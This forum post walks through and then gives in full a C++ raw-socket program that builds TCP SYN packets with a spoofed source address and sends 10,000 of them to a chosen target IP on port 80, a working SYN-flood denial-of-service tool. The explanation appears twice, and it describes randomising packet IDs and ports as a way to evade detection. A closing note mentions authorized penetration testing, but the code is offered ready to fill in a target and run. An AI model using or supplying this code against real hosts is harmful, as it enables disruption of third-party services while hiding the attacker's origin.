11-20-2024, 04:52 AM
This C++ program demonstrates how to send custom TCP packets using raw sockets. By leveraging raw sockets, the program manually constructs the IP and TCP headers and computes checksums to ensure the packet's validity. This approach allows you to manipulate network traffic at a low level.
Code Explanation:
1. Includes and Structure Definitions
The program begins by including necessary headers for working with raw sockets, IP headers, and TCP headers:
cpp:
The `pseudo_header` structure is used to construct a pseudo-header for the checksum calculation. This header includes the source and destination IP addresses, protocol type, and the TCP length.
2. Random ID and Port Generation
The `get_random_id` and `get_random_port` functions generate random values using `/dev/urandom` or `rand()` for the packet's ID and source port respectively. These random values help in evading detection and making the packet look less predictable.
cpp:
#### **3. Checksum Calculation**
The `checksum` function calculates the checksum for both the IP and TCP headers. The checksum ensures that the packet is not corrupted during transmission.
```cpp
unsigned short checksum(void *b, int len) { ... }
```
#### **4. Crafting the Raw Packet**
The `SendPacketWithRawSocket` function is responsible for constructing the raw TCP packet:
- **Socket Creation:** A raw socket is created with `socket(AF_INET, SOCK_RAW, IPPROTO_RAW)`, allowing the program to directly send IP packets.
- **IP Header Setup:** The program sets up the IP header, specifying the source and destination IPs, TTL (Time To Live), protocol type, and calculates the checksum.
cpp:
TCP Header Setup:** Similarly, the TCP header is crafted, including setting the source port, destination port, sequence number, and TCP flags (like the SYN flag for initiating a handshake).
cpp:
Pseudo-header for Checksum:** The checksum for the TCP header is calculated using a pseudo-header, which contains the source and destination IPs, protocol number, and the length of the TCP packet.
cpp:
5. Sending the Packet
The packet is sent using the `sendto` function. This process is repeated multiple times (10,000 times in this case), simulating a flood of SYN packets:
cpp:
6. Final Output
The program prints a message indicating that the TCP SYN packet has been sent to the target:
cpp:
Finally, the socket is closed after the packet is sent.
Security Note
The code demonstrates the use of raw sockets and custom-crafted packets, which can be used for legitimate network testing (e.g., penetration testing) or for malicious purposes (e.g., DoS attacks). Always ensure that any network testing is performed in a controlled and authorized environment.
Conclusion
This C++ program provides a low-level look into network packet crafting and sending using raw sockets. By manually constructing the IP and TCP headers, you gain full control over the packet's contents, which can be useful for network troubleshooting, security research, or ethical hacking.
For more information, you can reach me at:
Instagram : bitswif
The complete code is below:
Code Explanation:
1. Includes and Structure Definitions
The program begins by including necessary headers for working with raw sockets, IP headers, and TCP headers:
cpp:
#include <iostream>
#include <cstring>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <fcntl.h>
The `pseudo_header` structure is used to construct a pseudo-header for the checksum calculation. This header includes the source and destination IP addresses, protocol type, and the TCP length.
2. Random ID and Port Generation
The `get_random_id` and `get_random_port` functions generate random values using `/dev/urandom` or `rand()` for the packet's ID and source port respectively. These random values help in evading detection and making the packet look less predictable.
cpp:
int get_random_id() { ... }
int get_random_port() { ... }
#### **3. Checksum Calculation**
The `checksum` function calculates the checksum for both the IP and TCP headers. The checksum ensures that the packet is not corrupted during transmission.
```cpp
unsigned short checksum(void *b, int len) { ... }
```
#### **4. Crafting the Raw Packet**
The `SendPacketWithRawSocket` function is responsible for constructing the raw TCP packet:
- **Socket Creation:** A raw socket is created with `socket(AF_INET, SOCK_RAW, IPPROTO_RAW)`, allowing the program to directly send IP packets.
- **IP Header Setup:** The program sets up the IP header, specifying the source and destination IPs, TTL (Time To Live), protocol type, and calculates the checksum.
cpp:
iph->ihl = 5;
iph->version = IPVERSION;
iph->ttl = 64;
iph->protocol = IPPROTO_TCP;
iph->saddr = inet_addr(source_ip);
iph->daddr = dest_addr.sin_addr.s_addr;
iph->check = checksum((unsigned short *)packet, sizeof(struct iphdr));
TCP Header Setup:** Similarly, the TCP header is crafted, including setting the source port, destination port, sequence number, and TCP flags (like the SYN flag for initiating a handshake).
cpp:
tcph->source = htons(source_port);
tcph->dest = htons(dest_port);
tcph->syn = 1; // SYN flag to initiate connection
Pseudo-header for Checksum:** The checksum for the TCP header is calculated using a pseudo-header, which contains the source and destination IPs, protocol number, and the length of the TCP packet.
cpp:
psh.source_address = inet_addr(source_ip);
psh.dest_address = dest_addr.sin_addr.s_addr;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr));
5. Sending the Packet
The packet is sent using the `sendto` function. This process is repeated multiple times (10,000 times in this case), simulating a flood of SYN packets:
cpp:
for (int i = 0; i < 10000; i++) {
sendto(sock, packet, iph->tot_len, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
}
6. Final Output
The program prints a message indicating that the TCP SYN packet has been sent to the target:
cpp:
cout << "[ * ] TCP packet sent to " << destination_ip << " on port " << dest_port << endl;
Finally, the socket is closed after the packet is sent.
Security Note
The code demonstrates the use of raw sockets and custom-crafted packets, which can be used for legitimate network testing (e.g., penetration testing) or for malicious purposes (e.g., DoS attacks). Always ensure that any network testing is performed in a controlled and authorized environment.
Conclusion
This C++ program provides a low-level look into network packet crafting and sending using raw sockets. By manually constructing the IP and TCP headers, you gain full control over the packet's contents, which can be useful for network troubleshooting, security research, or ethical hacking.
For more information, you can reach me at:
Instagram : bitswif
The complete code is below:
#include <iostream>
#include <cstring>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <fcntl.h>
using namespace std;
struct pseudo_header {
u_int32_t source_address;
u_int32_t dest_address;
u_int8_t placeholder;
u_int8_t protocol;
u_int16_t tcp_length;
};
int get_random_id() {
int urandom_fd = open("/dev/urandom", O_RDONLY);
if(urandom_fd < 0){
cerr << "Failed to open /dev/urandom" << endl;
return rand() % 65535;
}
unsigned short random_value;
read(urandom_fd, &random_value, sizeof(random_value));
close(urandom_fd);
return random_value;
}
int get_random_port() {
int urandom_fd = open("/dev/urandom", O_RDONLY);
if(urandom_fd < 0){
cerr << "Failed to open /dev/urandom" << endl;
return rand() % 65535;
}
unsigned short random_value;
read(urandom_fd, &random_value, sizeof(random_value));
close(urandom_fd);
return 1024 + (random_value % (65535 - 1024 + 1));
}
unsigned short checksum(void *b, int len){
unsigned short* buf = (unsigned short *)b;
unsigned int sum = 0;
unsigned short result;
for (sum = 0; len > 1; len -= 2)
sum += *buf++;
if(len == 1)
sum += *(unsigned char *)buf;
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
result = ~sum;
return result;
}
int SendPacketWithRawSocket(){
int sock;
struct sockaddr_in dest_addr;
char packet[4096];
struct iphdr *iph = (struct iphdr *)packet;
struct tcphdr *tcph = (struct tcphdr *)(packet + sizeof(struct iphdr));
struct ip_timestamp timestamp_opt;
struct pseudo_header psh;
const char *destination_ip = "Your target IP";
const char *source_ip = "spoof IP";
const int source_port = get_random_port();
const int dest_port = 80;
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(sock < 0){
cerr << "Failed to create socket" << endl;
return 1;
}
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(dest_port);
dest_addr.sin_addr.s_addr = inet_addr(destination_ip);
memset(packet, 0, sizeof(packet));
// memset(×tamp_opt, 0, sizeof(timestamp_opt));
// timestamp_opt.ipt_code = IPOPT_TS;
// timestamp_opt.ipt_len = sizeof(timestamp_opt);
// timestamp_opt.ipt_ptr = 0;
// timestamp_opt.ipt_flg = 0;
// timestamp_opt.ipt_oflw = 0;
// for(int i = 0; i < 9; i++){
// timestamp_opt.data[i] = htonl(time(NULL) + i);
// cout << timestamp_opt.data << endl;
// }
// cout << (int)timestamp_opt.ipt_len << endl;
// int optval = 1;
// if (setsockopt(sock, IPPROTO_IP, TCP_NODELAY, (char *)&optval, sizeof(optval)) < 0) {
// perror("setsockopt failed");
// close(sock);
// return -1;
// }
iph->ihl = 5;
iph->version = IPVERSION;
iph->tos = IPTOS_DSCP_EF;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); // + sizeof(timestamp_opt);
iph->id = htons(get_random_id());
iph->frag_off = 0;
iph->ttl = 64;
iph->protocol = IPPROTO_TCP;
iph->saddr = inet_addr(source_ip);
iph->daddr = dest_addr.sin_addr.s_addr;
iph->check = 0;
iph->check = checksum((unsigned short *)packet, sizeof(struct iphdr)); // + sizeof(timestamp_opt);
tcph->source = htons(source_port);
tcph->dest = htons(dest_port);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5;
tcph->syn = 1;
tcph->window = htons(get_random_port());
tcph->check = 0;
tcph->urg_ptr = 0;
psh.source_address = inet_addr(source_ip);
psh.dest_address = dest_addr.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr));
char pseudo_packet[sizeof(struct pseudo_header) + sizeof(struct tcphdr)];
memcpy(pseudo_packet, &psh, sizeof(struct pseudo_header));
memcpy(pseudo_packet + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr));
tcph->check = checksum((unsigned short *)pseudo_packet, sizeof(pseudo_packet));
for (int i = 0; i < 10000; i++){
if(sendto(sock, packet, iph->tot_len, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) < 0) {
cerr << "Send failed" << endl;
return 1;
}
}
cout << "[ * ] TCP packet sent to " << destination_ip << " on port " << dest_port << endl;
close(sock);
return 0;
}
int main(){
SendPacketWithRawSocket();
}